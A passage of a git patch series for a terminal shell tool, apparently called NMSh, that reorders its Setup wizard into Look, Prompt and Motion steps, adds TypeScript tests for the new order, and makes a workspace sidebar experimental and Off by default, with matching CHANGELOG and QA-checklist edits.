draft. - {id: 'cursor', title: 'Cursor', intro: ['The text caret and its optional effects, Off by default. Portable effects are built in; Ghostty and Kitty can add a GPU version via /cursor.'], rows: [ - {row: configRow('cursorShape'), note: draft => draft.cursor.shape === 'host' ? 'Host default: your terminal keeps its own cursor' : 'Applied while NMSh owns the composer; full-screen programs get your normal cursor'}, - {row: configRow('cursorBlink')}, - {row: configRow('cursorRenderer'), note: draft => chooseBackend(draft.cursor, currentCursorHost()).reason}, - {row: configRow('cursorMotion')}, - {row: configRow('cursorEffect')}, - {row: configRow('cursorIdle')}, - {row: configRow('cursorColor'), note: draft => caretColorNote(currentCursorHost(), draft.cursor.color.source)}, - {row: configRow('cursorColorFamily')}, - {row: configRow('cursorColorVariant')}, - {row: configRow('cursorColorAccent')}, - {row: configRow('cursorColorCustom')}, - // Speed, intensity, trail length and particle amount, trail/particle colors and the physics live in /cursor, opened over this draft. - {row: configRow('cursorAdvanced'), note: () => 'Speed, intensity, trail and particles, trail/particle colors and physics; changes stay in this Setup draft until Apply'}, - ], facts: draft => [`Renderer in use: ${chooseBackend(draft.cursor, currentCursorHost()).reason}`]}, - {id: 'prompt', title: 'Prompt', intro: [NATIVE_PROMPT_RECOMMENDATION, 'Deep prompt customization lives in /prompt.'], rows: [ - {...PROMPT_PROVIDER_ROW, note: (draft, context) => draft.provider === 'nmsh' ? 'Built in · no installation required' - : draft.provider === 'none' ? 'None · composer only · themes still style NMSh UI, syntax and Theme Bridge' : `${PROMPT_PROVIDER_ROW.note!(draft, context)} · ${NATIVE_ONLY_NOTE}`}, - {row: nativeOnly(configRow('promptStyle'))}, - {row: nativeOnly(SEPARATOR_ROW)}, - {row: configRow('promptSymbol')}, - // The one canonical Chroma setting (also in Appearance, /prompt, /appearance and /chroma). - // The one canonical Chroma setting (also in Appearance, /prompt, /appearance and /chroma); its note says what will show. - {row: configRow('treatmentPreset'), note: draft => chromaVisibilityNote(draft)}, - routeRow('setupPromptModules', 'Prompt modules & custom glyphs', 'Which modules show and in what order, and your own separator or prompt glyph, in /prompt', 'prompt', 'Prompt'), - ], dynamicRows: draft => promptStyleRows(draft)}, - {id: 'appearance', title: 'Appearance', intro: [ + // Look: the theme first, then what depends on it (text, chrome), then Chroma, the one place it is chosen, with its + // own rows under it. Motion-wide switches (Reduced Motion, Decorative effects) are on the Motion step. + {id: 'appearance', title: 'Look', intro: [ 'Theme: the base NMSh prompt/UI palette · Theme text: whether it colors NMSh text · UI chrome: frames, tabs, selection, separators, accents.', 'Chroma: an optional treatment over the Native prompt/effects and opted-in surfaces; Full Chroma may override the prompt\'s theme colors. Your terminal and editor keep their own colors.', ], rows: [ @@ -292,10 +278,6 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('treatmentMotion')}, {row: configRow('treatmentSpeed')}, {row: configRow('treatmentCurve')}, - {row: configRow('reducedMotion')}, - {row: configRow('effectsOff')}, - {row: configRow('shimmer')}, - {row: configRow('autoEffects')}, routeRow('setupChromeColors', 'Edit UI chrome colors', 'Accent, text, separator, selection and status roles with the color picker', 'chromeColors', 'Appearance'), {...routeRow('setupThemeStudio', 'Theme Studio', 'Create, edit, import, export and manage Native themes; selection is above', 'themeStudio', 'Appearance'), row: {id: 'setupThemeStudio', label: 'Theme Studio', description: 'Create, edit, import, export and manage Native themes; selection is above', category: 'Appearance', @@ -305,9 +287,41 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ : 'No: every tool keeps its own colors; NMSh injects and changes nothing'}, routeRow('setupHostWindow', 'Terminal window (opacity, blur)', 'Host window opacity and blur where your terminal supports it', 'appearance', 'Appearance'), ], dynamicRows: (draft, context) => bridgeTargetRows(draft, context)}, - // General NMSh motion: the same rows /appearance → Motion edits, with the same real previews. + {id: 'prompt', title: 'Prompt', intro: [NATIVE_PROMPT_RECOMMENDATION, 'Deep prompt customization lives in /prompt.'], rows: [ + {...PROMPT_PROVIDER_ROW, note: (draft, context) => draft.provider === 'nmsh' ? 'Built in · no installation required' + : draft.provider === 'none' ? 'None · composer only · themes still style NMSh UI, syntax and Theme Bridge' : `${PROMPT_PROVIDER_ROW.note!(draft, context)} · ${NATIVE_ONLY_NOTE}`}, + {row: nativeOnly(configRow('promptStyle'))}, + {row: nativeOnly(SEPARATOR_ROW)}, + {row: configRow('promptSymbol')}, + // Chroma is chosen only in Look; here it is a read-only line that goes there. + CHROMA_IN_LOOK_ROW, + routeRow('setupPromptModules', 'Prompt modules & custom glyphs', 'Which modules show and in what order, and your own separator or prompt glyph, in /prompt', 'prompt', 'Prompt'), + ], dynamicRows: draft => promptStyleRows(draft)}, + // General NMSh motion: Reduced Motion and Decorative effects first (they govern every row after them, and Chroma's + // motion in Look), then the same rows /appearance → Motion edits, with the same real previews. {id: 'motion', title: 'Motion', intro: ['Short, finite presentations of real events. Each can be Off; Reduced Motion, Decorative Effects Off and NO_COLOR stop all of them.', - 'The preview below runs the selected one on sample content, once; it never touches your session.'], rows: [{row: configRow('motion_rendering')}, ...MOTION_ROWS.map(item => ({row: configRow(`motion_${item.key}`)})), {row: configRow('motion_intensity')}, {row: configRow('motion_speed')}]}, + 'The preview below runs the selected one on sample content, once; it never touches your session.'], rows: [ + {row: configRow('reducedMotion'), note: draft => draft.presentation.reducedMotion ? 'On: everything below, Chroma motion and the cursor effects stay still; colors stay' : undefined}, + {row: configRow('effectsOff')}, + {row: configRow('shimmer')}, + {row: configRow('autoEffects')}, + {row: configRow('motion_rendering')}, ...MOTION_ROWS.map(item => ({row: configRow(`motion_${item.key}`)})), {row: configRow('motion_intensity')}, {row: configRow('motion_speed')}]}, + // The same cursor rows as Settings; rich editing (the color picker, trail and particle colors, physics) is /cursor, opened over this draft. + {id: 'cursor', title: 'Cursor', intro: ['The text caret and its optional effects, Off by default. Portable effects are built in; Ghostty and Kitty can add a GPU version via /cursor.'], rows: [ + {row: configRow('cursorShape'), note: draft => draft.cursor.shape === 'host' ? 'Host default: your terminal keeps its own cursor' : 'Applied while NMSh owns the composer; full-screen programs get your normal cursor'}, + {row: configRow('cursorBlink')}, + {row: configRow('cursorRenderer'), note: draft => chooseBackend(draft.cursor, currentCursorHost()).reason}, + {row: configRow('cursorMotion')}, + {row: configRow('cursorEffect')}, + {row: configRow('cursorIdle')}, + {row: configRow('cursorColor'), note: draft => caretColorNote(currentCursorHost(), draft.cursor.color.source)}, + {row: configRow('cursorColorFamily')}, + {row: configRow('cursorColorVariant')}, + {row: configRow('cursorColorAccent')}, + {row: configRow('cursorColorCustom')}, + // Speed, intensity, trail length and particle amount, trail/particle colors and the physics live in /cursor, opened over this draft. + {row: configRow('cursorAdvanced'), note: () => 'Speed, intensity, trail and particles, trail/particle colors and physics; changes stay in this Setup draft until Apply'}, + ], facts: draft => [`Renderer in use: ${chooseBackend(draft.cursor, currentCursorHost()).reason}`]}, {id: 'editor', title: 'Editor', intro: ['The composer, syntax colors and suggestions.'], rows: [ {row: configRow('composerPosition')}, {row: configRow('composerDividers')}, @@ -333,7 +347,7 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('historyTheme')}, {row: configRow('divider')}, {row: configRow('dividerDensity')}, - {row: configRow('dividerColors'), note: () => 'Live composer dividers follow Appearance → Divider lines; past dividers never move'}, + {row: configRow('dividerColors'), note: () => 'Live composer dividers follow Divider lines (Look, under Chroma); past dividers never move'}, {row: configRow('outputFolding')}, ]}, {id: 'history', title: 'History & navigation', intro: ['NMSh Native covers history, directory jumps and picking.', 'External providers are optional alternatives.'], rows: [ @@ -492,7 +506,7 @@ export interface SetupState { */ cursorPanel?: CursorPanelState; /** - * Local preview only (P on Prompt/Appearance): show the preview through the + * Local preview only (P on Look/Prompt): show the preview through the * draft's Chroma. Off by default so the base theme colors are visible; it * never changes the draft or the saved Chroma. */ @@ -519,9 +533,10 @@ export function sectionIndex(id: string): number { export function createSetup(configuration: PromptConfiguration, entry?: string): SetupState { const target = entry ? SETUP_ENTRIES[entry] : undefined; const section = target ? sectionIndex(target) : 0; - const rows = SETUP_SECTIONS[section]!.rows; - const row = entry === 'chroma' ? Math.max(0, rows.findIndex(item => item.row.id === 'treatmentPreset')) : 0; - return {section, row, draft: structuredClone(configuration), saved: structuredClone(configuration), tools: 'keep', context: {statuses: {}}}; + const state: SetupState = {section, row: 0, draft: structuredClone(configuration), saved: structuredClone(configuration), tools: 'keep', context: {statuses: {}}}; + // The row index counts only the rows shown for this draft (hidden theme rows come before Chroma). + if (entry === 'chroma') state.row = Math.max(0, currentRows(state).findIndex(item => item.row.id === 'treatmentPreset')); + return state; } export function parseSetupEntry(argument: string | undefined): string | undefined | false { @@ -540,7 +555,7 @@ export function setupChanges(state: SetupState): Array<{label: string; from: str const seen = new Set(); for (const section of SETUP_SECTIONS) { for (const {row} of [...sectionRows(section, state.draft), ...sectionRows(section, state.saved)]) { - if (seen.has(row.id)) continue; + if (seen.has(row.id) || row.id === CHROMA_IN_LOOK_ROW.row.id) continue; seen.add(row.id); const from = rowValue(row, state.saved); const to = rowValue(row, state.draft); @@ -582,7 +597,7 @@ function currentRows(state: SetupState): readonly SetupRow[] { } /** - * Whether Setup's Prompt and Appearance previews show Chroma: by default whenever the draft's Chroma is on, so choosing + * Whether Setup's Look and Prompt previews show Chroma: by default whenever the draft's Chroma is on, so choosing * one is seen at once; P overrides it to compare with the base theme until the Chroma choice changes again. */ export function setupShowsChroma(state: SetupState): boolean { @@ -667,6 +682,11 @@ export function setupKey(state: SetupState, key: Key): SetupResult | undefined { } } else if (key.kind === 'enter' && rows[state.row]?.row.control === 'action') { const row = rows[state.row]!.row; + if (row.id === CHROMA_IN_LOOK_ROW.row.id) { + go(sectionIndex('appearance')); + state.row = Math.max(0, currentRows(state).findIndex(item => item.row.id === 'treatmentPreset')); + return undefined; + } if (row.control === 'action' && row.destination === 'cursor') return {kind: 'cursorEditor', advanced: false, row: row.id === 'cursorAdvanced' ? 'speed' : 'colorCustom'}; // An in-draft action (reset a list), or a route: apply this Setup, then open the real editor. if (row.control === 'action' && row.run) { state.draft = row.run(state.draft); return undefined; } diff --git a/tests/setupCat.test.ts b/tests/setupCat.test.ts index ee754da8..b5e06bf7 100644 --- a/tests/setupCat.test.ts +++ b/tests/setupCat.test.ts @@ -9,7 +9,7 @@ import type {Key} from '../src/terminal/keys.js'; import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration, type PromptConfiguration} from '../src/prompt/configuration.js'; import { createSetup, NATIVE_FIRST_MESSAGE, parseSetupEntry, providerNote, renderSetup, sectionIndex, SETUP_SECTIONS, setupChanges, - setupIsIdempotent, setupKey, type SetupState, + setupIsIdempotent, setupKey, setupSelectedRow, type SetupState, } from '../src/setup/SetupCat.js'; import {parseSlashCommand} from '../src/commands/slashCommands.js'; import {paletteItems} from '../src/ui/CommandPalette.js'; @@ -101,7 +101,7 @@ test('edits show in Review & Apply with from → to and apply normalized configu test('direct entries are views into the same model; unknown entries are rejected', () => { assert.deepEqual(parseSlashCommand('/setup'), {kind: 'setup'}); - for (const entry of ['prompt', 'appearance', 'chroma', 'tools', 'editor']) { + for (const entry of ['prompt', 'look', 'appearance', 'chroma', 'tools', 'editor']) { assert.deepEqual(parseSlashCommand(`/setup ${entry}`), {kind: 'setup', entry}); assert.equal(parseSetupEntry(entry), entry); } @@ -111,7 +111,7 @@ test('direct entries are views into the same model; unknown entries are rejected assert.equal(createSetup(DEFAULT_PROMPT_CONFIGURATION, 'tools').section, sectionIndex('tools')); const chroma = createSetup(DEFAULT_PROMPT_CONFIGURATION, 'chroma'); assert.equal(chroma.section, sectionIndex('appearance')); - assert.equal(SETUP_SECTIONS[chroma.section]!.rows[chroma.row]!.row.id, 'treatmentPreset'); + assert.equal(setupSelectedRow(chroma)?.row.id, 'treatmentPreset', 'the selected (shown) row, not an index into hidden ones'); // Tab moves through every section of the one model and wraps. const state = createSetup(DEFAULT_PROMPT_CONFIGURATION, 'editor'); for (let i = 0; i < SETUP_SECTIONS.length; i++) press(state, {kind: 'complete'}); diff --git a/tests/setupOrder.test.ts b/tests/setupOrder.test.ts new file mode 100644 index 00000000..f320bc67 --- /dev/null +++ b/tests/setupOrder.test.ts @@ -0,0 +1,195 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import {CHROMA_IN_LOOK_ROW, createSetup, parseSetupEntry, renderSetup, SETUP_EQUIVALENTS, SETUP_SECTIONS, sectionIndex, setupChanges, setupKey, + setupSelectedRow, type SetupState} from '../src/setup/SetupCat.js'; +import {SETTINGS_ROWS} from '../src/ui/SettingsPanel.js'; +import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration, type PromptConfiguration} from '../src/prompt/configuration.js'; +import {parseSlashCommand} from '../src/commands/slashCommands.js'; +import {applyUiTheme} from '../src/appearance/uiTheme.js'; +import {setIconStyle} from '../src/ui/glyphs.js'; +import {stripAnsi} from '../src/util/text.js'; + +// Setup Cat's approved order (workspace-ui-decision.md): Look → Prompt → Motion, Chroma chosen in Look only. + +const clone = (): PromptConfiguration => structuredClone(DEFAULT_PROMPT_CONFIGURATION); +const ids = (section: string, draft = clone()) => { + const found = SETUP_SECTIONS.find(item => item.id === section)!; + return [...found.rows, ...(found.dynamicRows?.(draft) ?? [])].map(item => item.row.id); +}; +const goTo = (state: SetupState, section: string, row: string) => { + state.section = sectionIndex(section); + state.row = 0; + for (let guard = 0; guard < 80 && setupSelectedRow(state)?.row.id !== row; guard += 1) setupKey(state, {kind: 'down'}); + assert.equal(setupSelectedRow(state)?.row.id, row, `reached ${row}`); +}; +const plain = (rows: readonly string[]) => rows.map(stripAnsi).join('\n'); + +test('Setup order: Start, Terminal, then Look → Prompt → Motion, then Cursor and the rest unchanged', () => { + assert.deepEqual(SETUP_SECTIONS.map(section => section.id), ['welcome', 'terminal', 'appearance', 'prompt', 'motion', 'cursor', 'editor', 'transcript', + 'history', 'shell', 'sessions', 'ask', 'welcomeScreen', 'idle', 'tools', 'review']); + assert.deepEqual(SETUP_SECTIONS.slice(2, 5).map(section => section.title), ['Look', 'Prompt', 'Motion']); + // Tab walks them in that order. + const state = createSetup(clone()); + state.section = sectionIndex('terminal'); + const titles: string[] = []; + for (let step = 0; step < 4; step += 1) { setupKey(state, {kind: 'complete'}); titles.push(SETUP_SECTIONS[state.section]!.title); } + assert.deepEqual(titles, ['Look', 'Prompt', 'Motion', 'Cursor']); +}); + +test('Look: theme family → variant → accent → theme text → UI chrome, then Chroma with its dependent rows under it', () => { + const look = ids('appearance'); + const at = (id: string) => { const index = look.indexOf(id); assert.ok(index >= 0, `${id} is in Look`); return index; }; + const order = ['themeFamily', 'themeVariant', 'themeAccent', 'themeText', 'uiChrome', 'uiChromePreset', 'treatmentPreset']; + for (let index = 1; index < order.length; index += 1) assert.ok(at(order[index - 1]!) < at(order[index]!), `${order[index - 1]} before ${order[index]}`); + const chroma = at('treatmentPreset'); + const dependents = ['treatmentIntensity', 'treatmentSemantic', 'treatmentScope', 'chromaRules', 'treatmentGeometry', 'treatmentMotion', 'treatmentSpeed', 'treatmentCurve']; + assert.deepEqual(look.slice(chroma + 1, chroma + 1 + dependents.length), dependents, 'directly under Chroma'); + for (const id of dependents) assert.ok(SETTINGS_ROWS.find(row => row.id === id)!.parent, `${id} is indented under its parent`); + for (const id of ['reducedMotion', 'effectsOff', 'shimmer', 'autoEffects']) assert.ok(!look.includes(id), `${id} moved to Motion`); +}); + +test('Chroma has one control in Setup (Look); Prompt shows it read-only and goes there', () => { + const holders = SETUP_SECTIONS.filter(section => ids(section.id).includes('treatmentPreset')).map(section => section.id); + assert.deepEqual(holders, ['appearance']); + const prompt = ids('prompt'); + assert.ok(prompt.includes(CHROMA_IN_LOOK_ROW.row.id)); + assert.ok(!prompt.some(id => id.startsWith('treatment') || id === 'chromaRules'), 'no competing Chroma rows in Prompt'); + // No Settings row is offered twice anywhere in Setup. + const all = SETUP_SECTIONS.flatMap(section => ids(section.id)).filter(id => SETTINGS_ROWS.some(row => row.id === id)); + assert.deepEqual(all.filter((id, index) => all.indexOf(id) !== index), [], 'each setting has one place'); + + const state = createSetup(normalizePromptConfiguration({presentation: {preset: 'aurora'}}), 'prompt'); + goTo(state, 'prompt', CHROMA_IN_LOOK_ROW.row.id); + const rendered = plain(renderSetup(state, 100, 40)); + assert.match(rendered, /Chroma\s+Aurora · change it in Look ›/u, 'the current Chroma, read-only, with the way to change it'); + const before = structuredClone(state.draft); + for (const kind of ['left', 'right'] as const) setupKey(state, {kind}); + setupKey(state, {kind: 'text', value: ' '}); + assert.deepEqual(state.draft, before, '←→ and Space never change Chroma from Prompt'); + assert.equal(setupKey(state, {kind: 'enter'}), undefined, 'Enter applies nothing and opens no editor'); + assert.equal(SETUP_SECTIONS[state.section]!.id, 'appearance', 'Enter goes to Look'); + assert.equal(setupSelectedRow(state)?.row.id, 'treatmentPreset', 'on the Chroma row'); + assert.deepEqual(state.draft, before); + + // A Chroma change is reviewed once, as the Chroma setting, not again as the read-only line. + setupKey(state, {kind: 'right'}); + const chromaChanges = setupChanges(state).filter(change => change.label === 'Chroma'); + assert.equal(chromaChanges.length, 1); + assert.equal(chromaChanges[0]!.from, 'Aurora'); +}); + +test('Motion: Reduced Motion, Decorative effects, Shimmer and Milestone effects first, then the motion rows', () => { + const motion = ids('motion'); + assert.deepEqual(motion.slice(0, 5), ['reducedMotion', 'effectsOff', 'shimmer', 'autoEffects', 'motion_rendering']); + assert.ok(motion.includes('motion_intensity') && motion.includes('motion_speed'), 'animation intensity and speed'); + assert.deepEqual(SETUP_SECTIONS.filter(section => ids(section.id).includes('reducedMotion')).map(section => section.id), ['motion']); +}); + +test('Every setting stays reachable from Setup after the reorder', () => { + const reachable = new Set(SETUP_SECTIONS.flatMap(section => ids(section.id))); + for (const row of SETTINGS_ROWS) { + if (row.level === 'advanced' && !reachable.has(row.id) && SETUP_EQUIVALENTS[row.id] === undefined) continue; + const equivalent = SETUP_EQUIVALENTS[row.id]; + assert.ok(reachable.has(row.id) || (equivalent && (reachable.has(equivalent) || equivalent === 'setupToolChoice' || equivalent === 'setupBrowseTools')), + `${row.id} is reachable`); + } +}); + +test('Values persist: an unchanged Setup applies exactly the saved configuration; moved rows still save', () => { + const saved = normalizePromptConfiguration({nmsh: {palette: 'forest'}, presentation: {preset: 'nebula', reducedMotion: true, effectsOff: false}}); + const untouched = createSetup(saved); + untouched.section = sectionIndex('review'); + const applied = setupKey(untouched, {kind: 'enter'}); + assert.equal(applied?.kind, 'apply'); + assert.deepEqual(applied?.kind === 'apply' && applied.configuration, normalizePromptConfiguration(saved)); + assert.equal(applied?.kind === 'apply' && applied.changed, false); + + const state = createSetup(saved); + goTo(state, 'motion', 'reducedMotion'); + setupKey(state, {kind: 'right'}); + goTo(state, 'appearance', 'themeFamily'); + setupKey(state, {kind: 'right'}); + state.section = sectionIndex('review'); + const result = setupKey(state, {kind: 'enter'}); + assert.equal(result?.kind, 'apply'); + if (result?.kind !== 'apply') return; + assert.equal(result.configuration.presentation.reducedMotion, false, 'Reduced Motion saved from Motion'); + assert.notEqual(result.configuration.nmsh.palette, 'forest', 'the theme saved from Look'); + assert.equal(result.configuration.presentation.preset, 'nebula', 'untouched values kept'); + // And it round-trips through normalization (what the config store does). + assert.deepEqual(normalizePromptConfiguration(JSON.parse(JSON.stringify(result.configuration))), result.configuration); +}); + +test('Entry points: /setup look, /setup appearance and /setup chroma open Look; /setup motion opens Motion', () => { + assert.equal(parseSetupEntry('look'), 'look'); + assert.equal(createSetup(clone(), 'look').section, sectionIndex('appearance')); + assert.equal(createSetup(clone(), 'appearance').section, sectionIndex('appearance')); + const chroma = createSetup(clone(), 'chroma'); + assert.equal(chroma.section, sectionIndex('appearance')); + assert.equal(setupSelectedRow(chroma)?.row.id, 'treatmentPreset'); + assert.equal(createSetup(clone(), 'motion').section, sectionIndex('motion')); + for (const entry of ['look', 'motion']) assert.deepEqual(parseSlashCommand(`/setup ${entry}`), {kind: 'setup', entry}); +}); + +test('Narrow terminals, Safe glyphs and NO_COLOR: Look, Prompt and Motion fit and keep their controls', () => { + const previous = process.env.NO_COLOR; + try { + for (const mode of ['safe', 'nerd'] as const) { + setIconStyle(mode); + for (const noColor of [false, true]) { + if (noColor) process.env.NO_COLOR = '1'; else delete process.env.NO_COLOR; + for (const section of ['appearance', 'prompt', 'motion']) { + const state = createSetup(normalizePromptConfiguration({presentation: {preset: 'aurora'}})); + state.section = sectionIndex(section); + for (const [width, height] of [[44, 12], [60, 20], [120, 40]] as const) { + const rows = renderSetup(state, width, height); + assert.ok(rows.length <= height, `${section} ${width}x${height}`); + assert.match(stripAnsi(rows.join('\n')), new RegExp(SETUP_SECTIONS[state.section]!.title), `${section} names its step`); + if (noColor) assert.ok(!rows.join('').includes('\u001B[38;2'), 'no truecolor under NO_COLOR'); + } + } + } + } + } finally { + setIconStyle('auto'); + if (previous === undefined) delete process.env.NO_COLOR; else process.env.NO_COLOR = previous; + } +}); + +test('Previews: Look and Prompt show the Chroma setting; Motion explains Reduced Motion and shows Shimmer; idle examples intact', () => { + const isolation = isolateConfig(); + const app = new TerminalApp(); + app['render'] = () => {}; + try { + app['configuration'] = normalizePromptConfiguration({}); + app['startSetup']('look'); + const state = app['setupState']!; + state.draft = normalizePromptConfiguration({presentation: {preset: 'aurora'}}); + assert.match(plain(app['setupPreview'](state, 100)), /Chroma setting Aurora · preview shows it/u, 'Look: immediate feedback'); + state.section = sectionIndex('prompt'); + assert.match(plain(app['setupPreview'](state, 100)), /Chroma setting Aurora/u, 'Prompt: the same, read-only'); + + goTo(state, 'motion', 'reducedMotion'); + state.draft = normalizePromptConfiguration({presentation: {reducedMotion: true}}); + assert.match(plain(app['setupPreview'](state, 100)), /Reduced Motion: colors stay, movement stops/u); + state.draft = normalizePromptConfiguration({presentation: {effectsOff: true}}); + assert.match(plain(app['setupPreview'](state, 100)), /Decorative effects Off: .*stay still/u); + state.draft = normalizePromptConfiguration({}); + goTo(state, 'motion', 'shimmer'); + assert.match(plain(app['setupPreview'](state, 100)), /Shimmer/u, 'the shimmer sample moved with its row'); + assert.equal(app['setupCursorClock'], undefined, 'no looping preview behind the one-shot shimmer'); + goTo(state, 'motion', 'motion_commandLaunch'); + assert.match(plain(app['setupPreview'](state, 100)), /Preview · /u, 'motion rows keep their real previews'); + + // #395's activity-wording example and screen-saver preview are untouched by the reorder. + goTo(state, 'idle', 'activityStyle'); + assert.match(plain(app['setupPreview'](state, 100)), /Cooking|Running/u); + goTo(state, 'idle', 'idleMode'); + assert.ok(plain(app['setupPreview'](state, 100)).trim().length > 0); + } finally { + if (app['setupCursorClock']) app['setupCursorClock'](); + app['stop'](0); app['session'].kill(); applyUiTheme(undefined); isolation.restore(); + } +}); From 199127ff400109d65a7b6bd9fdddea09aa3c3a2e Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:01:29 +0530 Subject: [PATCH 16/16] Workspace sidebar and detail panel: experimental, Off by default MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The maintainer's decision for v0.20 (workspace-ui-decision.md): the docked sidebar and detail panel are not presented as finished features. - New setting workspacePanels, Off by default and Off for any configuration without it; nothing else in a saved configuration changes. Settings → Layout → Workspace sidebar & panel and Setup → Editor show it, labelled experimental. - Off: /sidebar, /panel and their focus forms open nothing and say how to turn them on; keymap.json workspace bindings are kept but take no key, and /keys says so; the PTY keeps every column. Turning it Off closes open regions and returns focus to the composer. - One gate on the actions that open or focus a region (WorkspaceHost.perform); geometry, PTY sizing, passthrough and focus are unchanged when it is On. - /worktrees, /sessions, /github and /background never depend on it. - Help, command descriptions, the Ask concept, CHANGELOG and physical QA pass 1 (1.0a–c required; the docked regions as optional 1E, recorded Deferred) say the same. --- CHANGELOG.md | 11 +-- docs/testing/v020-physical-qa.md | 26 ++++++- src/app/TerminalApp.ts | 19 +++-- src/app/workspaceHost.ts | 13 ++++ src/ask/concepts.ts | 4 +- src/commands/slashCommands.ts | 4 +- src/help/helpContent.ts | 6 +- src/prompt/configuration.ts | 8 +- src/setup/SetupCat.ts | 3 + src/ui/SettingsPanel.ts | 2 + tests/workspaceExperimental.test.ts | 112 ++++++++++++++++++++++++++++ tests/workspaceIntegration.test.ts | 2 + 12 files changed, 188 insertions(+), 22 deletions(-) create mode 100644 tests/workspaceExperimental.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 0343e110..45b846db 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,14 +8,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ## [0.20.0] - Unreleased (release candidate) -**Workspace, background tasks & native modules.** A workspace sidebar and detail panel sit beside the transcript; long-running commands run as background tasks beside the shell instead of in front of it; the native module catalog covers twelve more runtimes and tools; and Claude Code managed targets gain native model, effort and mod controls. Every region, task and control is reached through an explicit command or an opt-in key, and the persistent shell, the queue and program input keep their behavior. +**Workspace, background tasks & native modules.** An experimental workspace sidebar and detail panel (Off by default) can sit beside the transcript; long-running commands run as background tasks beside the shell instead of in front of it; the native module catalog covers twelve more runtimes and tools; and Claude Code managed targets gain native model, effort and mod controls. Every region, task and control is reached through an explicit command or an opt-in key, and the persistent shell, the queue and program input keep their behavior. This release candidate is built on the **unpublished v0.19.0 release candidate**; neither is published until its physical-terminal QA passes ([v0.20 physical QA checklist](docs/testing/v020-physical-qa.md)). ### Added -#### Workspace sidebar and detail panel ([#330](https://github.com/raiseCatError/notMyShell/issues/330)–[#335](https://github.com/raiseCatError/notMyShell/issues/335)) -- `/sidebar` lists tmux panes of the server NMSh runs inside, this repository's worktrees and links to `/github`, `/agents` and `/sessions`; `/panel` explains the selected item. `/sidebar focus` and `/panel focus` give them the keyboard; Esc returns, Tab moves between regions, a click focuses a region. +#### Workspace sidebar and detail panel — experimental, Off by default ([#330](https://github.com/raiseCatError/notMyShell/issues/330)–[#335](https://github.com/raiseCatError/notMyShell/issues/335)) +- **Experimental and Off by default.** Turn it on in Settings → Layout → Workspace sidebar & panel (or Setup → Editor). While Off, `/sidebar` and `/panel` say how to turn it on and open nothing, and `keymap.json` workspace bindings are kept but take no key (`/keys` says so). Turning it Off closes open regions and gives the shell every column again. `/worktrees`, `/sessions`, `/github` and `/background` never depend on it. The docked layout is expected to be replaced by integrations with dedicated Git tools in a later release. +- When on, `/sidebar` lists tmux panes of the server NMSh runs inside, this repository's worktrees and links to `/github`, `/agents` and `/sessions`; `/panel` explains the selected item. `/sidebar focus` and `/panel focus` give them the keyboard; Esc returns, Tab moves between regions, a click focuses a region. - On a wide terminal the regions dock beside the transcript and the shell is sized to the middle; on a narrow one a region opens as a drawer over the transcript only while it has the keyboard, and the shell keeps its width. Fullscreen programs and idle visuals hide them. - Opening a worktree stages its `cd` in an empty composer; tmux navigation selects panes and windows by id through tmux from fixed system locations. Nothing runs by itself. - `keymap.json` binds workspace keys, opt-in and validated (composer keys must say what they replace); `/keys` shows the keys in effect, problems in the file and keys the terminal or tmux may take first; `/keys reload` reads it again. @@ -55,11 +56,11 @@ This release candidate is built on the **unpublished v0.19.0 release candidate** - The tmux section of the sidebar needs tmux in `/opt/homebrew/bin`, `/usr/local/bin`, `/usr/bin` or `/bin`. ### Upgrade notes -- Nothing new is on after the upgrade: the sidebar and panel are opened by command, the composer binds no workspace keys, and background suggestions are off. +- Nothing new is on after the upgrade: the experimental sidebar and panel are Off (a configuration without the new `workspacePanels` setting reads as Off, and nothing else in it changes), the composer binds no workspace keys, and background suggestions are off. - Restart the session service (or start a new session) to use background tasks. ### Known limitations -- **Physical-terminal QA has not been performed** for the workspace regions, drawers, background tasks, keymap host notes or the new modules; automated tests and real-PTY suites cover them. +- **Physical-terminal QA has not been performed** for the background tasks or the new modules; automated tests and real-PTY suites cover them. The experimental workspace regions, drawers and keymap host notes are not part of this release's physical QA gate (only their Off state is checked) and are not physically tested. - Clicks focus a region but do not select sidebar rows; the mouse wheel scrolls the transcript wherever the pointer is. - The sidebar lists tmux and worktrees only; NMSh sessions and managed targets as rows, and module diagnostics in the detail panel (they stay in `/modules` details), are not included. - Background tasks run in a separate shell: aliases, functions and unexported variables of the live shell are not available. A service restart ends the tasks it owned. Output kept by the task owner is 5,000 lines or 2 MiB per task. diff --git a/docs/testing/v020-physical-qa.md b/docs/testing/v020-physical-qa.md index c43dbb95..15726165 100644 --- a/docs/testing/v020-physical-qa.md +++ b/docs/testing/v020-physical-qa.md @@ -16,9 +16,9 @@ | Pass | Host and version | OS | Shell and version | Commit (`--version`) | Result | Notes | |---|---|---|---|---|---|---| -| 1 Workspace regions | Ghostty | macOS | zsh | | Not run | | -| 1 Workspace regions | Terminal.app | macOS | zsh | | Not run | | -| 1 Workspace regions | Ghostty inside tmux | macOS | zsh | | Not run | | +| 1 Workspace regions Off (default) | Ghostty | macOS | zsh | | Not run | | +| 1 Workspace regions Off (default) | Terminal.app | macOS | zsh | | Not run | | +| 1E Experimental regions (optional, not a release gate) | Ghostty, Terminal.app, tmux | macOS | zsh | | Deferred | experimental, Off by default | | 2 Background tasks | Ghostty | macOS | zsh | | Not run | | | 2 Background tasks | physical Linux terminal | Linux | Fish 3.7 or Bash | | Not run | | | 3 Modules and worktrees | Ghostty | macOS | zsh | | Not run | | @@ -27,6 +27,23 @@ ## Pass 1 — workspace regions +The docked sidebar and detail panel are **experimental and Off by default** in v0.20 (maintainer decision, +`workspace-ui-decision.md`). The release gate is that Off is really off and that turning them on and off is safe; +the docked regions themselves (1E) are not a release feature and are recorded as **Deferred** unless someone runs +them. A 1E result never counts as release evidence for anything else. + 